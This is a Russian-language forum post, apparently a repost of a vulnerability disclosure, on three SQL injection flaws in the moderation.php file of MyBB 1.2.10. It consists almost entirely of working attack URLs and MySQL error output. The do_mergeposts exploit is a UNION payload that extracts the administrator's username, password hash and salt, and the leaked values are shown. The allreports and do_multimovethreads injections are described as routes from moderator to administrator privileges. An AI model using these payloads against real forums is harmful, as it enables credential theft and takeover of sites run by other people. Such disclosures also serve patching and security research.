Показать сообщение отдельно

Multiple Sql Injections in MyBB 1.2.10
  #10  
Старый 22.01.2008, 04:12
iddqd
Banned
Регистрация: 19.12.2007
Сообщений: 924
С нами: 9681386

Репутация: 2145


По умолчанию Multiple Sql Injections in MyBB 1.2.10

SQL Injection in "moderation.php" action "do_mergeposts"

Vulnerable: 1.2.10

Для успешной реализации уязвимости необходимы привилегии модератора, в частности, действие "do_mergeposts"
Далее "waraxe"- имя админа


PoC:

Код:
http://localhost/mybb.1.2.10/moderation.php?fid=2&action=do_mergeposts 
&mergepost[war]=1&mergepost[axe]=2
Видим ошибку:

Код:
MySQL error: 1054 
Unknown column 'war' in 'where clause' 
Query: SELECT p.pid, p.uid, p.fid, p.tid, p.visible, p.message, f.usepostcounts 
FROM mybb_posts p LEFT JOIN mybb_forums f ON (f.fid=p.fid) 
WHERE p.tid='0' AND p.pid IN(war,axe) ORDER BY dateline ASC
Из ошибки узнаем префикс таблицы mybb_ - он может отличаться

Exploit:

Код:
http://localhost/mybb.1.2.10/moderation.php?fid=2&action=do_mergeposts 
&mergepost[-1]=1&mergepost[-2)UNION+ALL+SELECT+1,2,3,4,1,6,
7+UNION+ALL+SELECT+1, 
(SELECT+CONCAT(0x5e,username,0x5e,password,0x5e,salt,0x5e,0x27) 
+FROM+mybb_users+LIMIT+0,1),3,4,1,6,7/*]=2
Ошибка:

Код:
MySQL error: 1064 
You have an error in your SQL syntax; check the manual that corresponds to 
your MySQL server version for the right syntax to use near ... line 1 
Query: UPDATE mybb_users SET postnum=postnum-1 
WHERE uid='^waraxe^aff3fcfc70d2a50c3d4c2158233c3901^C5ybEW6b^''
waraxe - имя админа
aff3fcfc70d2a50c3d4c2158233c3901 - хэш пароля
C5ybEW6b - соль

SQL Injection in "moderation.php" action "allreports"

Для успешной реализации уязвимости необходимы привилегии модератора


PoC:

Код:
http://localhost/mybb.1.2.10/moderation.
php?fid=2&action=allreports&rid=0' 
+UNION+SELECT+waraxe--+
Ошибка:

Код:
MySQL error: 1054 
Unknown column 'waraxe' in 'field list' 
Query: SELECT COUNT(rid) AS count FROM mybb_reportedposts WHERE 
rid <= '0' UNION SELECT waraxe-- '
Ошибка используется для выяснения префикса таблицы и далее используется для повышения привилегий от модератора до администратора, аналогично первому примеру.

SQL Injection in "moderation.php" action "do_multimovethreads"

Для успешной реализации уязвимости необходимы привилегии модератора, в частности, действие "canmanagethreads"


PoC:

Код:
http://localhost/mybb.1.2.10/moderation.
php?fid=2&action=do_multimovethreads 
&moveto=2&threads=war|axe
Ошибка:

Код:
MySQL error: 1054 
Unknown column 'war' in 'where clause' 
Query: SELECT fid, visible, replies, unapprovedposts FROM mybb_threads 
WHERE tid IN (war,axe)
Ошибка используется для выяснения префикса таблицы и далее используется для повышения привилегий от модератора до администратора, аналогично первому примеру.
 
Ответить с цитированием